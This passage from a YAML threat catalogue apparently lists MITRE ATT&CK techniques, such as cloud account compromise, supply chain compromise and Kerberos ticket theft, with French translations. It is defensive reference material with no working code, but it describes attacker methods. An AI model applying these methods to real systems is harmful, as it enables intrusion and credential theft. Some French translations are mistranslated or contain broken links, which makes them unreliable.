          me ou la d\xE9sactivation ou la modification du processus de mise \xE0 jour.\
          \ Les adversaires peuvent \xE9galement cibler les m\xE9canismes d\u2019\
          agr\xE9gation et d\u2019analyse d\u2019\xE9v\xE9nements, ou perturber ces\
          \ proc\xE9dures en modifiant d\u2019autres composants du syst\xE8me. Ces\
          \ restrictions peuvent permettre des op\xE9rations malveillantes ainsi que\
          \ la propagation continue d\u2019incidents. (R\xE9f\xE9rence : Google Cloud\
          \ Mandiant UNC3886 2024)(Citation : arr\xEAt d\u2019Emotet)\nhttps://attack.mitre.org/techniques/T1562"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1586.003
    ref_id: T1586.003
    name: Cloud Accounts
    description: 'Adversaries may compromise cloud accounts that can be used during
      targeting. Adversaries can use compromised cloud accounts to further their operations,
      including leveraging cloud storage services such as Dropbox, Microsoft OneDrive,
      or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002)
      or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts
      can also be used in the acquisition of infrastructure, such as [Virtual Private
      Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007)
      infrastructure. Additionally, cloud-based messaging services such as Twilio,
      SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or
      AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation:
      Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft
      SendGrid 2024) Compromising cloud accounts may allow adversaries to develop
      sophisticated capabilities without managing their own servers.(Citation: Awake
      Security C2 Cloud)


      A variety of methods exist for compromising cloud accounts, such as gathering
      credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
      purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003)
      attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:
      MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may
      conduct Reconnaissance to inform decisions about which accounts to compromise
      to further their operation. In some cases, adversaries may target privileged
      service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199)
      between service providers and their customers.(Citation: MSTIC Nobelium Oct
      2021)

      https://attack.mitre.org/techniques/T1586/003'
    translations:
      fr:
        name: Comptes cloud
        description: "Les adversaires peuvent compromettre les comptes cloud qui peuvent\
          \ \xEAtre utilis\xE9s lors du ciblage. Les adversaires peuvent utiliser\
          \ des comptes cloud compromis pour poursuivre leurs op\xE9rations, notamment\
          \ en exploitant des services de stockage cloud tels que Dropbox, Microsoft\
          \ OneDrive ou des compartiments AWS S3 pour [Exfiltration vers le stockage\
          \ cloud](https://attack.mitre.org/techniques/T1567/002) ou vers [Outil de\
          \ chargement](https://attack.mitre.org/techniques/T1608/002). Les comptes\
          \ cloud peuvent \xE9galement \xEAtre utilis\xE9s dans l\u2019acquisition\
          \ d\u2019infrastructures, telles que l\u2019infrastructure [Virtual Private\
          \ Server](https://attack.mitre.org/techniques/T1583/003) ou l\u2019infrastructure\
          \ [Serverless](https://attack.mitre.org/techniques/T1583/007). De plus,\
          \ les services de messagerie bas\xE9s sur le cloud, tels que Twilio, SendGrid,\
          \ AWS End User Messaging, AWS SNS (Simple Notification Service) ou AWS SES\
          \ (Simple Email Service) peuvent \xEAtre utilis\xE9s pour le spam ou le\
          \ [hame\xE7onnage](https://attack.mitre.org/techniques/T1566). (Citation\
          \ : Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation\
          \ : Netcraft SendGrid 2024) La compromission des comptes cloud peut permettre\
          \ aux adversaires de d\xE9velopper des fonctionnalit\xE9s sophistiqu\xE9\
          es sans g\xE9rer leurs propres serveurs. (Citation : Awake Security C2 Cloud)\n\
          \nIl existe diverses m\xE9thodes pour compromettre les comptes cloud, telles\
          \ que la collecte d\u2019informations d\u2019identification via [Phishing\
          \ for Information](https://attack.mitre.org/techniques/T1598), l\u2019achat\
          \ d\u2019informations d\u2019identification sur des sites tiers, la r\xE9\
          alisation d\u2019attaques [Password Spraying](https://attack.mitre.org/techniques/T1110/003)\
          \ ou la tentative de [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation\
          \ : MSTIC Nobelium Oct 2021) Avant de compromettre les comptes cloud, les\
          \ adversaires peuvent effectuer des op\xE9rations Reconnaissance pour \xE9\
          clairer les d\xE9cisions sur les comptes \xE0 compromettre pour poursuivre\
          \ leur op\xE9ration. Dans certains cas, les adversaires peuvent cibler des\
          \ comptes de fournisseurs de services privil\xE9gi\xE9s dans le but de tirer\
          \ parti d\u2019une [relation de confiance](https://attack.mitre.org/techniques/T1199)\
          \ entre les fournisseurs de services et leurs clients. (Citation : MSTIC\
          \ Nobelium octobre 2021)\nhttps://attack.mitre.org/techniques/T1586/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1586.002
    ref_id: T1586.002
    name: Email Accounts
    description: 'Adversaries may compromise email accounts that can be used during
      targeting. Adversaries can use compromised email accounts to further their operations,
      such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598),
      [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email
      campaigns. Utilizing an existing persona with a compromised email account may
      engender a level of trust in a potential victim if they have a relationship
      with, or knowledge of, the compromised persona. Compromised email accounts can
      also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).


      A variety of methods exist for compromising email accounts, such as gathering
      credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
      purchasing credentials from third-party sites, brute forcing credentials (ex:
      password reuse from breach credential dumps), or paying employees, suppliers
      or business partners for access to credentials.(Citation: AnonHBGary)(Citation:
      Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct
      Reconnaissance to inform decisions about which accounts to compromise to further
      their operation. Adversaries may target compromising well-known email accounts
      or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566)
      emails may evade reputation-based email filtering rules.


      Adversaries can use a compromised email account to hijack existing email threads
      with targets of interest.

      https://attack.mitre.org/techniques/T1586/002'
    translations:
      fr:
        name: Comptes de messagerie
        description: "Les adversaires peuvent compromettre les comptes de messagerie\
          \ qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les adversaires peuvent\
          \ utiliser des comptes de messagerie compromis pour poursuivre leurs op\xE9\
          rations, par exemple en les exploitant pour mener des campagnes de [phishing\
          \ pour information](https://attack.mitre.org/techniques/T1598), [de phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou de spam \xE0 grande \xE9chelle. L\u2019utilisation d\u2019un personnage\
          \ existant avec un compte de messagerie compromis peut engendrer un certain\
          \ niveau de confiance chez une victime potentielle si elle a une relation\
          \ avec le personnage compromis ou si elle le conna\xEEt. Les comptes de\
          \ messagerie compromis peuvent \xE9galement \xEAtre utilis\xE9s dans l\u2019\
          acquisition d\u2019infrastructures (ex : [Domaines](https://attack.mitre.org/techniques/T1583/001)).\n\
          \nIl existe diverses m\xE9thodes pour compromettre les comptes de messagerie,\
          \ telles que la collecte d\u2019identifiants via [Phishing for Information](https://attack.mitre.org/techniques/T1598),\
          \ l\u2019achat d\u2019identifiants sur des sites tiers, le filtrage par\
          \ force brute d\u2019identifiants (par exemple, la r\xE9utilisation de mots\
          \ de passe \xE0 partir de vidages d\u2019identifiants de violation) ou le\
          \ paiement d\u2019employ\xE9s, de fournisseurs ou de partenaires commerciaux\
          \ pour l\u2019acc\xE8s aux identifiants. (Citation : AnonHBGary)(R\xE9f\xE9\
          rence : Microsoft DEV-0537) Avant de compromettre les comptes de messagerie,\
          \ les adversaires peuvent effectuer une reconnaissance pour \xE9clairer\
          \ les d\xE9cisions sur les comptes \xE0 compromettre afin de poursuivre\
          \ leurs op\xE9rations. Les adversaires peuvent cibler des comptes de messagerie\
          \ ou des domaines bien connus compromettants \xE0 partir desquels des spams\
          \ malveillants ou des e-mails [https://attack.mitre.org/techniques/T1566\
          \ de phishing peuvent contourner les r\xE8gles de filtrage des e-mails bas\xE9\
          es sur la r\xE9putation.\n\nLes adversaires peuvent utiliser un compte de\
          \ messagerie compromis pour d\xE9tourner des fils d\u2019e-mails existants\
          \ avec des cibles d\u2019int\xE9r\xEAt.\nhttps://attack.mitre.org/techniques/T1586/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.007
    ref_id: T1098.007
    name: Additional Local or Domain Groups
    description: "An adversary may add additional local or domain groups to an adversary-controlled\
      \ account to maintain persistent access to a system or domain.\n\nOn Windows,\
      \ accounts may use the `net localgroup` and `net group` commands to add existing\
      \ users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation:\
      \ Microsoft Net Group) On Linux, adversaries may use the `usermod` command for\
      \ the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be\
      \ added to the local administrators group on Windows devices to maintain elevated\
      \ privileges. They may also be added to the Remote Desktop Users group, which\
      \ allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)\
      \ to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On\
      \ Linux, accounts may be added to the sudoers group, allowing them to persistently\
      \ leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003)\
      \ for elevated privileges. \n\nIn Windows environments, machine accounts may\
      \ also be added to domain groups. This allows the local SYSTEM account to gain\
      \ privileges on the domain.(Citation: RootDSE AD Detection 2022)\nhttps://attack.mitre.org/techniques/T1098/007"
    translations:
      fr:
        name: "Groupes locaux ou de domaines suppl\xE9mentaires"
        description: "Un adversaire peut ajouter des groupes locaux ou de domaine\
          \ suppl\xE9mentaires \xE0 un compte contr\xF4l\xE9 par l\u2019adversaire\
          \ afin de maintenir un acc\xE8s persistant \xE0 un syst\xE8me ou \xE0 un\
          \ domaine.\n\nSous Windows, les comptes peuvent utiliser les commandes 'net\
          \ localgroup' et 'net group' pour ajouter des utilisateurs existants \xE0\
          \ des groupes locaux et de domaine. (Citation : Microsoft Net Localgroup)(Citation\
          \ : Microsoft Net Group) Sous Linux, les adversaires peuvent utiliser la\
          \ commande 'usermod' dans le m\xEAme but. (Citation : Linux Usermod)\n\n\
          Par exemple, des comptes peuvent \xEAtre ajout\xE9s au groupe d\u2019administrateurs\
          \ locaux sur les appareils Windows pour conserver des privil\xE8ges \xE9\
          lev\xE9s. Ils peuvent \xE9galement \xEAtre ajout\xE9s au groupe Utilisateurs\
          \ Bureau \xE0 distance, ce qui leur permet d\u2019utiliser [Protocole Bureau\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021/001) pour se\
          \ connecter aux points de terminaison \xE0 l\u2019avenir. (Citation : Connexions\
          \ RDP Microsoft) Sous Linux, des comptes peuvent \xEAtre ajout\xE9s au groupe\
          \ sudoers, ce qui leur permet d\u2019exploiter de mani\xE8re persistante\
          \ [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003)\
          \ pour obtenir des privil\xE8ges \xE9lev\xE9s. \n\nDans les environnements\
          \ Windows, les comptes d\u2019ordinateur peuvent \xE9galement \xEAtre ajout\xE9\
          s aux groupes de domaines. Cela permet au compte SYSTEM local d\u2019obtenir\
          \ des privil\xE8ges sur le domaine. (Citation : D\xE9tection RootDSE AD\
          \ 2022)\nhttps://attack.mitre.org/techniques/T1098/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.001
    ref_id: T1608.001
    name: Upload Malware
    description: 'Adversaries may upload malware to third-party or adversary controlled
      infrastructure to make it accessible during targeting. Malicious software can
      include payloads, droppers, post-compromise tools, backdoors, and a variety
      of other malicious content. Adversaries may upload malware to support their
      operations, such as making a payload available to a victim network to enable
      [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing
      it on an Internet accessible web server.


      Malware may be placed on infrastructure that was previously purchased/rented
      by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
      or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
      Malware can also be staged on web services, such as GitHub or Pastebin, or hosted
      on the InterPlanetary File System (IPFS), where decentralized content storage
      makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus
      November 2020)(Citation: Talos IPFS 2022)


      Adversaries may upload backdoored files, such as application binaries, virtual
      machine images, or container images, to third-party software stores or repositories
      (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims
      may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204).
      [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance
      of users mistakenly executing these files.

      https://attack.mitre.org/techniques/T1608/001'
    translations:
      fr:
        name: "T\xE9l\xE9charger un logiciel malveillant"
        description: "Les adversaires peuvent t\xE9l\xE9charger des logiciels malveillants\
          \ sur une infrastructure tierce ou contr\xF4l\xE9e par l\u2019adversaire\
          \ pour les rendre accessibles pendant le ciblage. Les logiciels malveillants\
          \ peuvent inclure des charges utiles, des droppers, des outils de post-compromission,\
          \ des portes d\xE9rob\xE9es et divers autres contenus malveillants. Les\
          \ adversaires peuvent t\xE9l\xE9charger des logiciels malveillants pour\
          \ soutenir leurs op\xE9rations, par exemple en mettant une charge utile\
          \ \xE0 la disposition d\u2019un r\xE9seau victime pour permettre le [transfert\
          \ d\u2019outil d\u2019entr\xE9e](https://attack.mitre.org/techniques/T1105)\
          \ en la pla\xE7ant sur un serveur Web accessible sur Internet.\n\nLes logiciels\
          \ malveillants peuvent \xEAtre plac\xE9s sur une infrastructure qui a d\xE9\
          j\xE0 \xE9t\xE9 achet\xE9e/lou\xE9e par l\u2019adversaire ([Acqu\xE9rir\
          \ l\u2019infrastructure](https://attack.mitre.org/techniques/T1583)) ou\
          \ qui a \xE9t\xE9 compromise par celui-ci ([Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)).\
          \ Les logiciels malveillants peuvent \xE9galement \xEAtre h\xE9berg\xE9\
          s sur des services Web, tels que GitHub ou Pastebin, ou sur l\u2019InterPlanetary\
          \ File System (IPFS), o\xF9 le stockage de contenu d\xE9centralis\xE9 rend\
          \ difficile la suppression des fichiers malveillants. (Citation : Volexity\
          \ Ocean Lotus novembre 2020)(R\xE9f\xE9rence : Talos IPFS 2022)\n\nLes adversaires\
          \ peuvent t\xE9l\xE9charger des fichiers d\xE9rob\xE9s, tels que des fichiers\
          \ binaires d\u2019application, des images de machine virtuelle ou des images\
          \ de conteneur, vers des magasins de logiciels ou des r\xE9f\xE9rentiels\
          \ tiers (par exemple : GitHub, CNET, AWS Community AMI, Docker Hub). Par\
          \ hasard, les victimes peuvent t\xE9l\xE9charger/installer directement ces\
          \ fichiers d\xE9rob\xE9s via [User Execution](https://attack.mitre.org/techniques/T1204).\
          \ [Masquage](https://attack.mitre.org/techniques/T1036) peut augmenter le\
          \ risque que les utilisateurs ex\xE9cutent ces fichiers par erreur.\nhttps://attack.mitre.org/techniques/T1608/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1195
    ref_id: T1195
    name: Supply Chain Compromise
    description: "Adversaries may manipulate products or product delivery mechanisms\
      \ prior to receipt by a final consumer for the purpose of data or system compromise.\n\
      \nSupply chain compromise can take place at any stage of the supply chain including:\n\
      \n* Manipulation of development tools\n* Manipulation of a development environment\n\
      * Manipulation of source code repositories (public or private)\n* Manipulation\
      \ of source code in open-source dependencies\n* Manipulation of software update/distribution\
      \ mechanisms\n* Compromised/infected system images (multiple cases of removable\
      \ media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider\
      \ Electric USB Malware) \n* Replacement of legitimate software with modified\
      \ versions\n* Sales of modified/counterfeit products to legitimate distributors\n\
      * Shipment interdiction\n\nWhile supply chain compromise can impact any component\
      \ of hardware or software, adversaries looking to gain execution have often\
      \ focused on malicious additions to legitimate software in software distribution\
      \ or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil\
      \ 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired\
      \ victim set or malicious software may be distributed to a broad set of consumers\
      \ but only move on to additional tactics on specific victims.(Citation: Symantec\
      \ Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five\
      \ SK 2011) Popular open source projects that are used as dependencies in many\
      \ applications may also be targeted as a means to add malicious code to users\
      \ of the dependency.(Citation: Trendmicro NPM Compromise)\nhttps://attack.mitre.org/techniques/T1195"
    translations:
      fr:
        name: "Compromission de la cha\xEEne d\u2019approvisionnement"
        description: "Les adversaires peuvent manipuler les produits ou les m\xE9\
          canismes de livraison des produits avant leur r\xE9ception par un consommateur\
          \ final dans le but de compromettre les donn\xE9es ou le syst\xE8me.\n\n\
          La compromission de la cha\xEEne d\u2019approvisionnement peut avoir lieu\
          \ \xE0 n\u2019importe quelle \xE9tape de la cha\xEEne d\u2019approvisionnement,\
          \ y compris :\n\n* Manipulation des outils de d\xE9veloppement\n* Manipulation\
          \ d\u2019un environnement de d\xE9veloppement\n* Manipulation de d\xE9p\xF4\
          ts de code source (publics ou priv\xE9s)\n* Manipulation du code source\
          \ dans les d\xE9pendances open-source\n* Manipulation des m\xE9canismes\
          \ de mise \xE0 jour/distribution de logiciels\n* Images syst\xE8me compromises/infect\xE9\
          es (plusieurs cas de supports amovibles infect\xE9s en usine) (Citation\
          \ : IBM Storwize) (Citation : Schneider Electric USB Malware) \n* Remplacement\
          \ des logiciels l\xE9gitimes par des versions modifi\xE9es\n* Vente de produits\
          \ modifi\xE9s/contrefaits \xE0 des distributeurs l\xE9gitimes\n* Interdiction\
          \ d\u2019exp\xE9dition\n\nBien que la compromission de la cha\xEEne d\u2019\
          approvisionnement puisse avoir un impact sur n\u2019importe quel composant\
          \ du mat\xE9riel ou des logiciels, les adversaires qui cherchent \xE0 obtenir\
          \ une ex\xE9cution se sont souvent concentr\xE9s sur les ajouts malveillants\
          \ \xE0 des logiciels l\xE9gitimes dans les canaux de distribution ou de\
          \ mise \xE0 jour de logiciels. (Citation : Avast CCleaner3 2018)(Citation\
          \ : Microsoft Dofoil 2018)(R\xE9f\xE9rence : Command Five SK 2011) Le ciblage\
          \ peut \xEAtre sp\xE9cifique \xE0 un ensemble de victimes souhait\xE9es\
          \ ou les logiciels malveillants peuvent \xEAtre distribu\xE9s \xE0 un large\
          \ \xE9ventail de consommateurs, mais ne passer qu\u2019\xE0 des tactiques\
          \ suppl\xE9mentaires sur des victimes sp\xE9cifiques. (R\xE9f\xE9rence :\
          \ Symantec Elderwood, septembre 2012)(Citation : Avast CCleaner3 2018)(R\xE9\
          f\xE9rence : Command Five SK 2011) Les projets open source populaires qui\
          \ sont utilis\xE9s comme d\xE9pendances dans de nombreuses applications\
          \ peuvent \xE9galement \xEAtre cibl\xE9s comme moyen d\u2019ajouter du code\
          \ malveillant aux utilisateurs de la d\xE9pendance. (Citation : Compromis\
          \ NPM de Trendmicro)\nhttps://attack.mitre.org/techniques/T1195"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1190
    ref_id: T1190
    name: Exploit Public-Facing Application
    description: 'Adversaries may attempt to exploit a weakness in an Internet-facing
      host or system to initially access a network. The weakness in the system can
      be a software bug, a temporary glitch, or a misconfiguration.


      Exploited applications are often websites/web servers, but can also include
      databases (like SQL), standard services (like SMB or SSH), network device administration
      and management protocols (like SNMP and Smart Install), and any other system
      with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation:
      CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure
      Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169)
      Depending on the flaw being exploited this may also involve [Exploitation for
      Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation
      for Client Execution](https://attack.mitre.org/techniques/T1203).


      If an application is hosted on cloud-based infrastructure and/or is containerized,
      then exploiting it may lead to compromise of the underlying instance or container.
      This can allow an adversary a path to access the cloud or container APIs (e.g.,
      via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)),
      exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611),
      or take advantage of weak identity and access management policies.


      Adversaries may also exploit edge network infrastructure and related appliances,
      specifically targeting devices that do not support robust host-based defenses.(Citation:
      Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)


      For websites and databases, the OWASP top 10 and CWE top 25 highlight the most
      common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top
      25)

      https://attack.mitre.org/techniques/T1190'
    translations:
      fr:
        name: Exploiter une application publique
        description: "Les adversaires peuvent tenter d\u2019exploiter une faiblesse\
          \ d\u2019un h\xF4te ou d\u2019un syst\xE8me connect\xE9 \xE0 Internet pour\
          \ acc\xE9der initialement \xE0 un r\xE9seau. La faiblesse du syst\xE8me\
          \ peut \xEAtre un bogue logiciel, un probl\xE8me temporaire ou une mauvaise\
          \ configuration.\n\nLes applications exploit\xE9es sont souvent des sites\
          \ Web/serveurs Web, mais peuvent \xE9galement inclure des bases de donn\xE9\
          es (comme SQL), des services standard (comme SMB ou SSH), des protocoles\
          \ d\u2019administration et de gestion des p\xE9riph\xE9riques r\xE9seau\
          \ (comme SNMP et Smart Install) et tout autre syst\xE8me avec des sockets\
          \ ouverts accessibles sur Internet. (R\xE9f\xE9rence : NVD CVE-2016-6662)(Citation\
          \ : Vuln\xE9rabilit\xE9s multiples des PME de la CIS)(R\xE9f\xE9rence :\
          \ US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation : Blog\
          \ Cisco Legacy Device Attacks)(R\xE9f\xE9rence : NVD CVE-2014-7169) En fonction\
          \ de la faille exploit\xE9e, il peut \xE9galement s\u2019agir d\u2019une\
          \ [Exploitation pour l\u2019\xE9vasion de la d\xE9fense](https://attack.mitre.org/techniques/T1211)\
          \ ou d\u2019une [Exploitation pour l\u2019ex\xE9cution du client](https://attack.mitre.org/techniques/T1203).\n\
          \nSi une application est h\xE9berg\xE9e sur une infrastructure bas\xE9e\
          \ sur le cloud et/ou est conteneuris\xE9e, son exploitation peut entra\xEE\
          ner la compromission de l\u2019instance ou du conteneur sous-jacent. Cela\
          \ peut permettre \xE0 un adversaire d\u2019acc\xE9der aux API de cloud ou\
          \ de conteneur (par exemple, via l\u2019API de m\xE9tadonn\xE9es d\u2019\
          instance cloud](https://attack.mitre.org/techniques/T1552/005)), d\u2019\
          exploiter l\u2019acc\xE8s \xE0 l\u2019h\xF4te de conteneur via [Escape to\
          \ Host](https://attack.mitre.org/techniques/T1611) ou de tirer parti de\
          \ politiques de gestion des identit\xE9s et des acc\xE8s faibles.\n\nLes\
          \ adversaires peuvent \xE9galement exploiter l\u2019infrastructure du r\xE9\
          seau de p\xE9riph\xE9rie et les appliances associ\xE9es, en ciblant sp\xE9\
          cifiquement les appareils qui ne prennent pas en charge des d\xE9fenses\
          \ robustes bas\xE9es sur l\u2019h\xF4te. (Citation : Mandiant Fortinet Zero\
          \ Day)(Citation : Cyberguerre c\xE2bl\xE9e de la Russie)\n\nPour les sites\
          \ Web et les bases de donn\xE9es, le top 10 de l\u2019OWASP et le top 25\
          \ du CWE mettent en \xE9vidence les vuln\xE9rabilit\xE9s Web les plus courantes.\
          \ (Citation : OWASP Top 10)(Citation : CWE top 25)\nhttps://attack.mitre.org/techniques/T1190"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558
    ref_id: T1558
    name: Steal or Forge Kerberos Tickets
    description: "Adversaries may attempt to subvert Kerberos authentication by stealing\
      \ or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).\
      \ Kerberos is an authentication protocol widely used in modern Windows domain\
      \ environments. In Kerberos environments, referred to as \u201Crealms\u201D\
      , there are three basic participants: client, service, and Key Distribution\
      \ Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request\
      \ access to a service and through the exchange of Kerberos tickets, originating\
      \ from KDC, they are granted access after having successfully authenticated.\
      \ The KDC is responsible for both authentication and ticket granting.  Adversaries\
      \ may attempt to abuse Kerberos by stealing tickets or forging tickets to enable\
      \ unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility\
      \ can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft\
      \ Klist)\nhttps://attack.mitre.org/techniques/T1558"
    translations:
      fr:
        name: Voler ou falsifier des billets Kerberos
        description: "Les adversaires peuvent tenter de contourner l\u2019authentification\
          \ Kerberos en volant ou en falsifiant des tickets Kerberos pour activer\
          \ [Transmettre le ticket](https://attack.mitre.org/techniques/T1550/003).\
          \ Kerberos est un protocole d\u2019authentification largement utilis\xE9\
          \ dans les environnements de domaine Windows modernes. Dans les environnements\
          \ Kerberos, appel\xE9s \xAB domaines \xBB, il y a trois participants de\
          \ base : le client, le service et le centre de distribution de cl\xE9s (KDC).\
          \ (Citation : D\xE9codeur en anneau Kerberos ADSecurity) Les clients demandent\
          \ l\u2019acc\xE8s \xE0 un service et, gr\xE2ce \xE0 l\u2019\xE9change de\
          \ tickets Kerberos, provenant de KDC, ils se voient accorder l\u2019acc\xE8\
          s apr\xE8s s\u2019\xEAtre authentifi\xE9s avec succ\xE8s. Le KDC est responsable\
          \ \xE0 la fois de l\u2019authentification et de l\u2019attribution des billets.\
          \  Les adversaires peuvent tenter d\u2019abuser de Kerberos en volant des\
          \ billets ou en falsifiant des billets pour permettre un acc\xE8s non autoris\xE9\
          .\n\nSous Windows, l\u2019utilitaire <code>klist</code> int\xE9gr\xE9 peut\
          \ \xEAtre utilis\xE9 pour r\xE9pertorier et analyser les tickets Kerberos\
          \ mis en cache. (Citation : Microsoft Klist)\nhttps://attack.mitre.org/techniques/T1558"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555
    ref_id: T1555
    name: Credentials from Password Stores
    description: 'Adversaries may search for common password storage locations to
      obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored
      in several places on a system, depending on the operating system or application
      holding the credentials. There are also specific applications and services that
      store passwords to make them easier for users to manage and maintain, such as
      password managers and cloud secrets vaults. Once credentials are obtained, they
      can be used to perform lateral movement and access restricted information.

      https://attack.mitre.org/techniques/T1555'
    translations:
      fr:
        name: "Informations d\u2019identification \xE0 partir des magasins de mots\
          \ de passe"
        description: "Les adversaires peuvent rechercher des emplacements de stockage\
          \ de mots de passe courants pour obtenir les informations d\u2019identification\
          \ de l\u2019utilisateur. (Citation : F-Secure The Dukes) Les mots de passe\
          \ sont stock\xE9s \xE0 plusieurs endroits sur un syst\xE8me, en fonction\
          \ du syst\xE8me d\u2019exploitation ou de l\u2019application contenant les\
          \ informations d\u2019identification. Il existe \xE9galement des applications\
          \ et des services sp\xE9cifiques qui stockent les mots de passe pour faciliter\
          \ leur gestion et leur maintenance, tels que les gestionnaires de mots de\
          \ passe et les coffres-forts de secrets dans le cloud. Une fois les informations\
          \ d\u2019identification obtenues, elles peuvent \xEAtre utilis\xE9es pour\
          \ effectuer des mouvements lat\xE9raux et acc\xE9der \xE0 des informations\
          \ restreintes.\nhttps://attack.mitre.org/techniques/T1555"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1567
    ref_id: T1567
    name: Exfiltration Over Web Service
    description: 'Adversaries may use an existing, legitimate external Web service
      to exfiltrate data rather than their primary command and control channel. Popular
      Web services acting as an exfiltration mechanism may give a significant amount
      of cover due to the likelihood that hosts within a network are already communicating
      with them prior to compromise. Firewall rules may also already exist to permit
      traffic to these services.


      Web service providers also commonly use SSL/TLS encryption, giving adversaries
      an added level of protection.

      https://attack.mitre.org/techniques/T1567'
    translations:
      fr:
        name: Exfiltration sur le service Web
        description: "Les adversaires peuvent utiliser un service Web externe l\xE9\
          gitime existant pour exfiltrer des donn\xE9es plut\xF4t que leur canal de\
          \ commande et de contr\xF4le principal. Les services Web populaires agissant\
          \ comme un m\xE9canisme d\u2019exfiltration peuvent offrir une couverture\
          \ importante en raison de la probabilit\xE9 que les h\xF4tes d\u2019un r\xE9\
          seau communiquent d\xE9j\xE0 avec eux avant la compromission. Des r\xE8\
          gles de pare-feu peuvent \xE9galement d\xE9j\xE0 exister pour autoriser\
          \ le trafic vers ces services.\n\nLes fournisseurs de services Web utilisent\
          \ \xE9galement couramment le cryptage SSL/TLS, ce qui offre aux adversaires\
          \ un niveau de protection suppl\xE9mentaire.\nhttps://attack.mitre.org/techniques/T1567"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1219
    ref_id: T1219
    name: Remote Access Software
    description: "An adversary may use legitimate desktop support and remote access\
      \ software to establish an interactive command and control channel to target\
      \ systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`,\
      \ `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and\
      \ management (RMM) tools, are commonly used as legitimate technical support\
      \ software and may be allowed by application control within a target environment.(Citation:\
      \ Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation:\
      \ CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise\
      \ as an alternate communications channel for redundant access or as a way to\
      \ establish an interactive remote desktop session with the target system. They\
      \ may also be used as a component of malware to establish a reverse connection\
      \ or back-connect to a service or adversary-controlled system.\n \nAdversaries\
      \ may similarly abuse response features included in EDR and other defensive\
      \ tools that enable remote access.\n\nInstallation of many remote access software\
      \ may also include persistence (e.g., the software's installation routine creates\
      \ a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote\
      \ access modules/features may also exist as part of otherwise existing software\
      \ (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote\
      \ Desktop)(Citation: Chrome Remote Desktop)\nhttps://attack.mitre.org/techniques/T1219"
    translations:
      fr:
        name: "Logiciel d\u2019acc\xE8s \xE0 distance"
        description: "Un adversaire peut utiliser un logiciel de support de bureau\
